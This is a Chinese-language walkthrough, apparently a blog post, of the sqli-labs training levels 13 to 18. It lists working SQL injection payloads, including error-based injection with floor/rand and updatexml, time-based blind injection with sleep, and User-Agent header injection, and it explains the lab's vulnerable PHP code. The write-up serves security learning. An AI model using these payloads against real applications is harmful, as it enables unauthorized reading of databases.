1. 程式人生 > 其它 >sqli-labs.less13-18過關記錄

sqli-labs.less13-18過關記錄

  • Pass13

和之前pass5、6一樣,用單引號和括號閉合

輸入admin') order by 3#報錯

admin') order by 2#返回正常

查庫:admin') union select count(*),concat((select database()),floor(rand()*2)) as a from information_schema.schemata group by a#

查表:admin') union select count(*),concat((select table_name from information_schema.tables where table_schema=database() limit 0,1),floor(rand()*2)) as a from information_schema.schemata group by a

  • Pass14

使用雙引號閉合,其他語句相同

  • Pass 15

由於是盲注,直接找成功標誌,輸入admin' order by 3#返回登入失敗圖片

輸入admin' order by 2#返回登入成功圖片

可以在html中檢視圖片名為flag.jpg這個就是我們的成功條件

通過python指令碼的requests.post來注入

查表名

時間盲注語句:1' and if ((substr(select database()),1,1)='s'),sleep(6),1)#儘量吧sleep時間設定多點,避免網路問題

  • Pass16

和15差不多,使用雙引號和括號閉合

  • Pass17

這一關可以利用兩個函式,分別是updatexml()和extractvalue()

先說updatexml(),語法格式為updatexmle(xml_document,xpath_string,new_value);

xml_document是string格式,xml文件物件的名稱

xpath_string是xpath_string格式的字串(主要利用這個引數進行報錯注入)

new_value替換查詢到符合條件的資料

注入語句為 updatexml(1.concat('~',(select database()),'~'),1)

concat函式將字串拼接在一起,這不符合xpath語法規則,返回錯誤的同時將中間select語句的查詢結果順帶返回

返回注入場景,這裡和之前有點不同的是注入點在passwd處,看一下程式碼

在接受到post的uname會執行一個check_input的函式,首先進行了一個是否為空的檢查,然後通過substr之擷取15位字元,再下面到get_magic_qutes_gpc(),這個函式配合php環境配置magic_quotes_gpc,如果使用者輸入資料帶有單引號, 雙引號, 反斜線 and 空字元會自動轉為含有反斜線的溢位字元,在通過get_magic_qutes_gpc()將資料中的所有反斜線去除

然後到ctype_digit判斷是否為數字,如果不是就加上一對單引號

再反觀passwd引數,沒有任何過濾語句直接套入了sql語句總

再結合上面的注入語句:1' and updatexml(1,concat('~',(select database()),'~'),1)#成功報錯

查表,可以用group_concat()將查詢的結果顯示在一行裡面

  • Pass18

點開發現多了一個your ip

再看原始碼,發現uname和passwd都執行了一次資料檢查函式

再往下看發現有個$uagent被直接帶入了sql語句中

$_SERVER 是一個包含了諸如頭資訊(header)、路徑(path)、以及指令碼位置(script locations)等等資訊的陣列。

參考:https://www.jb51.net/article/42428.htm

對原始碼進行審計可以發現,只有當用戶名和密碼都正確的時候才能進入下一步對uagent的插入語句。爆破yyds。。。

這裡我們知道賬號就直接進行注入,在uagent輸入一個單引號引發報錯

閉合語句1',1,1)#

這裡由於是insert語句就不能通過select語句注入,可以使用17關的updatexml來注入

注入語句:1',1,updatexml(1,concat('~',(select database()),'~'),1))#

查表:1',1,updatexml(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema=database()),'~'),1))#